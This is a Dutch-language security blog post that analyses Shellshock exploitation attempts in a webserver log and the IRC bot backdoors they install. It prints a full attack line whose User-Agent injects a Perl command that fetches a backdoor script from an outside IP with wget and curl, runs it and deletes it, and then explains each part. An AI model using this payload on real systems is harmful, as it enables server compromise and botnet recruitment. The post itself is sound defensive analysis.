Back to the future: IRC bots

Back to the future: IRC bots

DearBytesBlogBack to the future: IRC bots

Regelmatig controleer ik de logging van mijn webserver en tref daar vaak exploitatiepogingen aan van geautomatiseerde scanners. Deze scanners zijn geïnfecteerde systemen die op zoek gaan naar specifieke producten en kwetsbaarheden. Zodra een kwetsbaar systeem wordt aangetroffen, wordt er geautomatiseerd getracht de machine te infecteren om zo controle over deze machine te krijgen. Deze geïnfecteerde machines vormen een netwerk, ook wel een botnet genoemd: een netwerk van geïnfecteerde computers die zelfstandig te werk gaan en bestuurd kunnen worden.

Op zoek naar de tekenen van een aanval

Op 24 september jl. is er een kwetsbaarheid in Bash bekendgemaakt. Deze kwetsbaarheid maakt het mogelijk commando’s te injecteren tijdens het exporteren van omgevingsvariabelen en dit is extern uit te buiten via onder andere een webserver. Voor aanvallers is dit dan ook een populaire manier om geautomatiseerd te zoeken naar systemen die ze kunnen aanvallen en toe te voegen aan hun eigen botnet. Door in de logging van mijn webservers te zoeken naar exploitatie pogingen heb ik geprobeerd systemen in kaart te brengen die proberen dit botnet te vergroten. Door te zoeken op de tekst “() { :;}” , de trigger voor shellshock, vond ik verschillende systemen die trachtten het systeem te infecteren.

irc bots

Bots: wat doen ze dan?

Als we kijken naar de pogingen, dan zien we dat er geprobeerd wordt om verschillende kwetsbare applicaties aan te roepen met de trigger voor shellshock in de user-agent. Wat gebeurt er nu precies als het lukt om de kwetsbaarheid uit te buiten? Laten we één regel uit het log nemen:

211.147.91.40 – – [26/Feb/2015:20:46:16 +0100] “GET /cgi-bin/recent.cgi HTTP/1.1” 301 483 “-” “() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“wget http://202.191.121.230/mzer.pl -O /tmp/mzer.pl;curl -O /tmp/mzer.pl http://202.191.121.230/mzer.pl;perl /tmp/mzer.pl;rm -rf /tmp/mzer.pl*”);'”

Dit ziet er nog wat rommelig uit. Door het op te splitsen kunnen we stuk voor stuk kijken wat er gebeurt. Hieronder staan alle items los inclusief hun betekenis.

211.147.91.40 – Het IP adres van het systeem dat shellshock probeert uit te buiten.

– – [26/Feb/2015:20:46:16 +0100]  – Datum en tijd van de poging.

“GET /cgi-bin/recent.cgi HTTP/1.1” 301 483 “-” – Het aangevraagde bestand, namelijk: “/cgi-bin/recent.cgi”. 

“() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“wget http://202.191.121.230/mzer.pl -O /tmp/mzer.pl;curl -O /tmp/mzer.pl http://202.191.121.230/mzer.pl;perl /tmp/mzer.pl;rm -rf /tmp/mzer.pl*”);'”  – De user agent met daarin het script om uit te buiten.

Het script ziet er als volgt uit:

() { :;};/usr/bin/perl -e – Het aanroepen van Perl om zo een script uit te voeren.

‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”; – Het printen van de teskst “XSUCCESS!” om via de scanner te bepalen dat exploitatie succesvol is.

system(” – Set aan systeem commando’s dat uitgevoerd moet worden.

wget http://202.191.121.230/mzer.pl -O /tmp/mzer.pl; – Downloaden van de backdoor via de tool wget.

curl -O /tmp/mzer.pl http://202.191.121.230/mzer.pl; – Downloaden van de backdoor via de tool curl.

perl /tmp/mzer.pl; – Uitvoer van de backdoor.

rm -rf /tmp/mzer.pl* – Verwijderen van de backdoor.

“);'” – Afsluiten set aan systeem commando’s.

Het is interessant om te zien dat de meeste exploitatie pogingen direct overgaan in compromitteren van het systeem. Dit geeft ons de mogelijkheid de backdoor zelf te downloaden en te analyseren. Niet alle partijen doen dit, sommige scannen en proberen dit te rapporteren om zo kwetsbare systemen in kaart te brengen en proberen vervolgens om de systemen over te nemen. Een voorbeeld hiervan zijn de onderstaande exploitatie pogingen:

scanner_injectiepoint

Hierboven wordt geprobeerd om de kwetsbare pagina terug te sturen naar de aanvallers om zo vatbare systemen op een rij te zetten inclusief het pad waar de uitbuiting via gelukt is. Het slimme van deze aanpak is dat het niet standaard een backdoor verstuurt en wordt daarom minder snel door een antivirus opgemerkt. Daarnaast maken de aanvallers gebruik van standaard Linux tooling om zo informatie over kwetsbare systemen te verzenden. Dit maakt detectie van de kwetsbaarheid mogelijk op een breed scala aan op Linux gebaseerde systemen.

IRC Bots bekeken

Om de IRC bots (backdoor) te analyseren hebben we de logging van de webserver doorzocht op exploitatie pogingen. Hieruit filteren we weer de links naar de IRC bots om te downloaden en te onderzoeken. Het is interessant om te zien dat de meeste backdoors verdacht veel op elkaar lijken, dit is een gevolg van een gebrek aan kunde onder botnet houders. Daarom wordt er extreem veel gekopieerd en aangepast om zo een “eigen” backdoor te maken. Gelukkig is het niet moeilijk om de backdoors te detecteren, het staat er namelijk gewoon in.

irc bots

Alle gedownloade backdoors maakten communicatie mogelijk door middel van IRC. De bot verbond naar de IRC server en wordt lid van het gespecificeerde kanaal. Vervolgens zijn er een aantal nicknames die gemachtigd waren om commando’s uit te voeren op de aanwezige bots in dat kanaal. Door de verschillende kanalen en IRC servers uit de broncode te halen lukte het om toegang te krijgen tot de verschillende kanalen. De meeste kanalen waren bijzonder rustig, maar bevatten vaak wel bots waarvan het IP-adres of de domeinnaam direct te koppelen was aan een bedrijf. Controle van deze IP-adressen leidde over het algemeen naar verouderde webservers die nog niet gepatcht zijn voor shellshock. Het opvragen van een whois toonde informatie over de naam van het systeem, de gebruikte Linux versie en het IP-adres of de domeinnaam.

noobs

Niet alle kanalen waren stil, sommige kanalen waren drukker, vooral die van het “ame-Team.ro”. Na het bekijken van de kanalen werden we al snel geblokkeerd. Door middel van TOR waren we in staat om met nieuwe IP-adressen verbinding te maken met de server om te kunnen blijven verbinden. We hebben geprobeerd om zo in contact te komen, maar het werd al snel duidelijk dat dit niet op prijs werd gesteld en ze niet met ons wilden praten.

t

Omdat webservers regelmatig langdurig actief zijn zonder dat er iets wordt aangepast blijven veel systemen kwetsbaar ook na een aanval wordt dit niet herkend. Dit geeft criminelen de mogelijkheid om langdurig gebruik te maken van de server. Deze worden gebruikt voor het versturen van spam, het uitvoeren van DDOS aanvallen of het verspreiden van de backdoor. Het is dus belangrijk servers regelmatig te voorzien van updates en om periodiek te controleren op sporen van compromittatie.